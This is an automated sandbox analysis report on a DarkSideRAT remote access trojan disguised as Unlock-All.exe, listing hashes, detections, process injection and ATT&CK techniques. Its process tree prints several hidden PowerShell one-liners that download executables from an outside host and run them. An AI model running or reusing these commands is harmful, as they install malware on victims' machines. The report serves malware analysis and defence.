darksiderat | 98bba61d3b829cccc61ac023178e4fee69c144ffbb36d3f502fece27b2d69b65

Analysis

max time kernel
149s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 10:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Unlock-All.exe
Size 1.5MB
Sample260803-l9y88svalh
SHA256 98bba61d3b829cccc61ac023178e4fee69c144ffbb36d3f502fece27b2d69b65
MD5 34dd13949f7dcda1b021a7320c7b515c
SHA1 f6ac8d3c1df00de850673a2d6e240797cea98596
SHA512 7524d2f80b5239688c024deb6dcac3d4204534d8de9847f20ba774acfc50a842fe3b722b2d315702e3b40137ec6d3a794f5934bd1332076201e0526e5c2167d5
SSDEEP 24576:U+AHEh9wnUfo4oW3YR5kRSoMCvzZnBTQu578TEfRb1bLwOMOfvC/WO93l0fZzabo:U+A09S74oZGBJzom78TEfRb1bLwOMOfh
TLSH
T10E75BF1AABA514F8C1BBC178C6568613E7B274190360DBDF06D096A62F33BD16F3EB11
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 3 IoCs

resource	yara_rule
behavioral2/memory/6040-3-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/memory/6040-1-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/memory/3620-6-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4644	powershell.exe
9	2848	powershell.exe
11	4644	powershell.exe
12	2848	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4644	powershell.exe
2848	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2548 set thread context of 6040	2548	Unlock-All.exe	92
PID 2548 set thread context of 6120	2548	Unlock-All.exe	91
PID 2548 set thread context of 3620	2548	Unlock-All.exe	93

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2492	cmd.exe
4924	cmd.exe
3340	cmd.exe
1784	cmd.exe
4680	cmd.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4644	powershell.exe
4644	powershell.exe
2848	powershell.exe
2848	powershell.exe
2848	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4644	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2548 wrote to memory of 4680	2548	Unlock-All.exe	90
PID 2548 wrote to memory of 6040	2548	Unlock-All.exe	92
PID 2548 wrote to memory of 6040	2548	Unlock-All.exe	92
PID 2548 wrote to memory of 6040	2548	Unlock-All.exe	92
PID 2548 wrote to memory of 6040	2548	Unlock-All.exe	92
PID 2548 wrote to memory of 6040	2548	Unlock-All.exe	92
PID 2548 wrote to memory of 6040	2548	Unlock-All.exe	92
PID 2548 wrote to memory of 6040	2548	Unlock-All.exe	92
PID 2548 wrote to memory of 6120	2548	Unlock-All.exe	91
PID 2548 wrote to memory of 6120	2548	Unlock-All.exe	91
PID 2548 wrote to memory of 6120	2548	Unlock-All.exe	91
PID 2548 wrote to memory of 6120	2548	Unlock-All.exe	91
PID 2548 wrote to memory of 6120	2548	Unlock-All.exe	91
PID 2548 wrote to memory of 6120	2548	Unlock-All.exe	91
PID 2548 wrote to memory of 6120	2548	Unlock-All.exe	91
PID 2548 wrote to memory of 3620	2548	Unlock-All.exe	93
PID 2548 wrote to memory of 3620	2548	Unlock-All.exe	93
PID 2548 wrote to memory of 3620	2548	Unlock-All.exe	93
PID 2548 wrote to memory of 3620	2548	Unlock-All.exe	93
PID 2548 wrote to memory of 3620	2548	Unlock-All.exe	93
PID 2548 wrote to memory of 3620	2548	Unlock-All.exe	93
PID 2548 wrote to memory of 3620	2548	Unlock-All.exe	93
PID 4680 wrote to memory of 2492	4680	cmd.exe	94
PID 2548 wrote to memory of 4924	2548	Unlock-All.exe	96
PID 4924 wrote to memory of 3340	4924	cmd.exe	97
PID 2492 wrote to memory of 4644	2492	cmd.exe	98
PID 2548 wrote to memory of 1784	2548	Unlock-All.exe	100
PID 3340 wrote to memory of 2848	3340	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\Unlock-All.exe
"C:\Users\Admin\AppData\Local\Temp\Unlock-All.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK189435.exe; Start-Process -FilePath $env:TEMP\BK189435.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4680
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK189435.exe; Start-Process -FilePath $env:TEMP\BK189435.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK189435.exe; Start-Process -FilePath $env:TEMP\BK189435.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4644
- C:\Users\Admin\AppData\Local\Temp\Unlock-All.exe
  "C:\Users\Admin\AppData\Local\Temp\Unlock-All.exe"
  2⤵
  PID:6120
- C:\Users\Admin\AppData\Local\Temp\Unlock-All.exe
  "C:\Users\Admin\AppData\Local\Temp\Unlock-All.exe"
  2⤵
  PID:6040
- C:\Users\Admin\AppData\Local\Temp\Unlock-All.exe
  "C:\Users\Admin\AppData\Local\Temp\Unlock-All.exe"
  2⤵
  PID:3620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK665865.exe; Start-Process -FilePath $env:TEMP\BK665865.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK665865.exe; Start-Process -FilePath $env:TEMP\BK665865.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3340
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK665865.exe; Start-Process -FilePath $env:TEMP\BK665865.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:1784

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3b0d31d3e465b7c276ae6d91bc488d0b427929b29561a8662bcb0bb1f62c0836
MD5 e80b37fa43133f90bbac6e222eb78b55
SHA1 712461ce70a50961e15acc61f4bf546f317c4477
SHA512 1661602a2ec268e0fb507e17930ffee707b2140c6316fea22038a993ce1f332da72301cc1d5b36f8d9033017c82199bd1f5a46f4c03e893ba2891df1c8751d9a
TLSH
T15A215937F3DC8614DC9A413A50CEAC1036B6C7DB809ECEABBB84D544B42F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2548-24-0x0000000140000000-0x0000000140190000-memory.dmp

Download

memory/2548-0-0x0000000140000000-0x0000000140190000-memory.dmp

Download

memory/3620-6-0x0000000140000000-0x0000000140015000-memory.dmp

Download

memory/4644-7-0x00007FFB7385F000-0x00007FFB73860000-memory.dmp

Download

memory/4644-19-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

Download

memory/4644-8-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

Download

memory/4644-12-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

Download

memory/4644-11-0x000001424E170000-0x000001424E192000-memory.dmp

Download

memory/4644-13-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

Download

memory/4644-14-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

Download

memory/4644-15-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

Download

memory/4644-18-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

Download

memory/4644-31-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

Download

memory/4644-20-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

Download

memory/4644-21-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

Download

memory/4644-22-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

Download

memory/4644-27-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

Download

memory/4644-25-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

Download

memory/4644-26-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

Download

memory/6040-1-0x0000000140000000-0x0000000140015000-memory.dmp

Download

memory/6040-3-0x0000000140000000-0x0000000140015000-memory.dmp

Download

memory/6120-2-0x0000000140000000-0x0000000140050000-memory.dmp

Download

memory/6120-4-0x0000000140000000-0x0000000140050000-memory.dmp

Download